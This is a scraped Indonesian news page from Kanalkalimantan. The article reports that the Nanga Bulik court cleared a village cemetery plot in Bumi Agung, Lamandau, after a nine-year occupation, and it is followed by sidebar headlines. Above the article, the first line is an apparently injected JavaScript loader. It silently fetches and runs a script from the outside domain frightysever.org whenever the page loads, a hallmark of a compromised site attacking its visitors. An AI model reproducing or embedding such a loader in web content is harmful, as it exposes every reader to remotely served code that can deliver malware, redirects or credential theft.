(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Lamandau

Sembilan Tahun Lahan Dikuasai, Akhirnya Eksekusi Lahan Kembalikan ke Desa Bumi Agung


KANALKALIMANTAN.COM, NANGA BULIK –Pengadilan Negeri (PN) Nanga Bulik mengeksekusi lahan makam Desa Bumi Agung yang dikuasai tergugat Kardi dan keluarga di lahan seluas 12.250 meter persegi terletak di jalan poros Desa Bumi Agung, Kecamatan Bulik, Kabupaten Lamandau, Kamis (9/2/2023).

Eksekusi tetap dilakukan meski tidak dihadiri oleh para tergugat dengan melibatkan belasan personel Polres Lamandau, serta menggunakan tiga alat berat jenis excavator dan dua buah dump truk.

Eksekusi dilakukan dengan memasang plang putusan PN Nanga Bulik dan membongkar tiga bangunan rumah serta meratakan 50 pokok pohon kelapa sawit yang berdiri di lahan milik desa.

Kuasa hukum penggugat, Fajrul Islami Akbar mengatakan perkara sengketa lahan ini sebenarnya sudah terjadi sejak lama, bahkan proses pengadilan sudah bejalan selama kurang lebih dua tahun terakhir.

 

Baca juga: Beda Pandang Dua LSM Pendemo Baramarta ke Pemkab Banjar 

“Karena sudah berkekuatan hukum tetap maka eksekusi bisa dilakukan oleh pihak pengadilan pada hari ini. Kita bersyukur artinya lahan ini sudah kembali menjadi milik pemerintah desa dan dapat kembali digunakan sebagaimana mestinya yakni fasilitas umum untuk keperluan tempat permakaman,” kata Fajrul Islami Akbar, Kamis (9/2/2023).

Fajrul menjelaskan, sengketa sudah berlangsung sejak sembilan tahun lalu tepatnya pada tahun 2014. Saat itu tergugat tinggal di lahan tersebut dengan status pinjam pakai dan diberikan surat keterangan pinjam lahan dari pemerintah desa Bumi Agung.

Namun, dalam perjalanannya, permakaman terus bertambah setiap tahun, sehingga perlu perluasan sementara tergugat mendirikan rumah dan menanami kelapa sawit di area permakaman desa. Saat itu pemerintah desa setempat telah berupaya untuk menyelesaikan masalah tersebut secara musyawarah, tapi tidak membuahkan hasil.

“Kerena keluarga tergugat tidak mau mengosongkan lahan, maka pemerintah desa akhirnya melakukan gugatan secara perdata, hingga dimenangkan oleh penggugat sampai pada putusan di tingkat banding,” jelasnya.

Baca juga: Tarian Vulgar di Lapangan Murjani, Panitia Penyelenggara Terima Sanksi dan Sampaikan Permintaan Maaf kepada Tokoh Agama

Sementara itu, tokoh masyarakat Desa Bumi Agung, M Basar yang turut hadir di lokasi menyampaikan terima kasih kepada PN Nanga Bulik yang telah melaksanakan eksekusi. Dengan demikian lahan tersebut sudah memiliki status yang kuat dimata hukum serta dapat mencegah adanya gesekan antar warga.

“Karena lahan ini juga untuk kepentingan umum bukan hanya untuk warga desa Bumi Agung, saja tapi warga sekitar yang membutuhkan juga bisa memanfaatkan tempat pemakaman ini,” kata Basar.(Kanalkalimantan.com/habibullah)

Reporter : habibullah
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.